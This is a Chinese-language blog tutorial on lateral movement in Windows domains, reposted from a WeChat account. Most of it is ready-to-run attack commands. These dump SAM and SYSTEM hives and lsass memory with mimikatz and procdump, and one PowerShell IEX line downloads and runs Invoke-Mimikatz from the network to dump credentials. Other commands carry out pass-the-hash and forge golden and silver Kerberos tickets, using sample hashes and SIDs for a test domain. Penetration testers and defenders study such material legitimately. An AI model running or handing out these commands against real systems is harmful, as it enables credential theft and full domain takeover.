内网渗透之域内横向移动

公众号:白帽子左一 

hash 介绍

在域环境中,用户信息存储在域控的ntds.dit(C:\Windows\NTDS\NTDS.dit)中;非域环境也就是在工作组环境中,当前主机用户的密码信息存储着在sam文件(C:\Windows\System32\config\SAM)。Windows操作系统通常使用两种方法(LM和NTLM)对用户的明文密码进行加密处理。

LM只能存储小于等于14个字符的密码hash,如果密码大于14个,windows就自动使用NTLM对其进行加密。LM Hash的全名为”LAN Manager Hash”,是微软为了提高Windows操作系统的安全性而采用的散列值加密算法,XP、win2k和win2k3来说,系统默认使用LM进行加密,个人版从Windows Vista 以后,服务器版从Windows Server 2003以后该方法被禁用。如果抓取的LM Hash值是”aad3b435b51404eeaad3b435b51404ee”,可能的情况有:LM Hash值为空、密码大于14位、被禁用或者认为设置。

NTLM Hash是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法。NTLM Hash是基于MD4加密算法进行加密的。Windows操作系统的认证方式均为NTLM Hash。

hash 获取

要在windows系统中抓取nt-hash或者明文,必须要system权限,想要破解sam文件与ntds.dit文件都需要拥有一个system文件(C:\Windows\System32\config\SYSTEM)

离线获取

导出 sam 和 system 文件

  1. reg save hklm\system C:\Users\Administrator\Desktop\hash\system.hive
  2. reg save hklm\sam C:\Users\Administrator\Desktop\hash\sam.hive
  1. 使用 mimikatz

    1. lsadump::sam /sam:C:\Users\Administrator\Desktop\hash\sam.hive /system:C:\Users\Administrator\Desktop\hash\system.hive

mimikatz

  1. 本地读取

    将 mimikatz 传到目标机器

    1. privilege::debug
    2. token::elevate
    3. lsadump::sam

  1. 在线读取

    1. mimikatz.exe privilege::debug sekurlsa::logonpasswords

  1. lsass.dmp

    使用 procdump 导出 了lsass.dmp 文件

    1. procdump.exe -accepteula -ma lsass.exe C:\Users\Administrator\Desktop\hash\lsass.dmp
    2. sekurlsa::minidump C:\Users\Administrator\Desktop\hash\lsass.dmp
    3. sekurlsa::logonpasswords full

powershell

  1. 远程获取

    1. powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

hash 传递(pth,pass the hash)

测试环境

域:tisheng.test

用户名:administrator

NTLM hash:3ec403e7aee6461f12e8f7b644410605

用管理员权限运行

  1. mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:tisheng.test /ntlm:3ec403e7aee6461f12e8f7b644410605"

成功后回弹出一个新的窗口

票据传递(ptt,path the triket)

票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单。

黄金票据(tgt,Golden Ticket)

金票是通过伪造的TGT(TicketGranting Ticket),金票就有了域内的最高权限。

制作金票的条件

  1. 1、域名称
  2. 2、域的SID
  3. 3、域的KRBTGT账户密码HASH (krbtgt 域账户的密码基本不会更改,即使域管密码被修改,它也不会改变)
  4. 4、伪造用户名,可以是任意的

获取数据

  1. mimikatz.exe "log" "privilege::debug" "lsadump::dcsync /domain:tisheng.test /user:krbtgt"

生成金票

方法1:

生成金票

  1. kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi

将金票导入内存

  1. kerberos::purge //清空内存中的票据kerberos::ppt golden.kiribi //导入票据kerberos::list //查看票据

方法2:

  1. kerberos::golden /user:要伪造的域用户(我们这一般写域管理员) /domain:域名 /sid:域的sid /krbtgt:krbtgt的哈希 /pttkerberos::golden /user:administrator /domain:tisheng.test /sid:S-1-5-21-74797282-3442809439-2700332097/krbtgt:070dac97f50c95d08e98be1578327e7b /ptt

也可以使用 ase256 生成

  1. kerberos::golden /user:administrator /domain:tisheng.test /sid:S-1-5-21-74797282-3442809439-2700332097-502 /aes256:9dd45bd4b2c39a54240f5dc03bb4ecfb023285cf956425ba16f61db7ee48040d /ptt

方法3:

在域控上执行

  1. mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

将生成的文件保存下来

  1. mimikatz "privilege::debug" "kerberos::ptt [0;b9476]-2-0-40e10000-Administrator@krbtgt-TISHENG.TEST.kirbi"

白银票据(st,SilverTickets)

银票只能访问指定服务

制作银票的条件

  1. 1.域名称2.域的SID3.域中的Server服务器账户的NTLM-Hash4.伪造的用户名,可以是任意用户名.5.目标服务器上面的kerberos服务
  1. 服务名称 同时需要的服务WMI HOSTRPCSSPowerShell Remoting HOSTHTTPWinRM HOSTHTTPScheduled Tasks HOSTWindows File Share CIFSLDAP LDAPWindows Remote Server RPCSSLDAPCIFS

生成白银票据

  1. kerberos::golden /domain:tisheng.test /sid:S-1-5-21-74797282-3442809439-2700332097 /target:dc.tisheng.test /service:cifs /rc4:3ec403e7aee6461f12e8f7b644410605 /user:test /ptt

 

posted @ 2021-11-08 15:53  黑客无极  阅读(305)  评论(0编辑  收藏  举报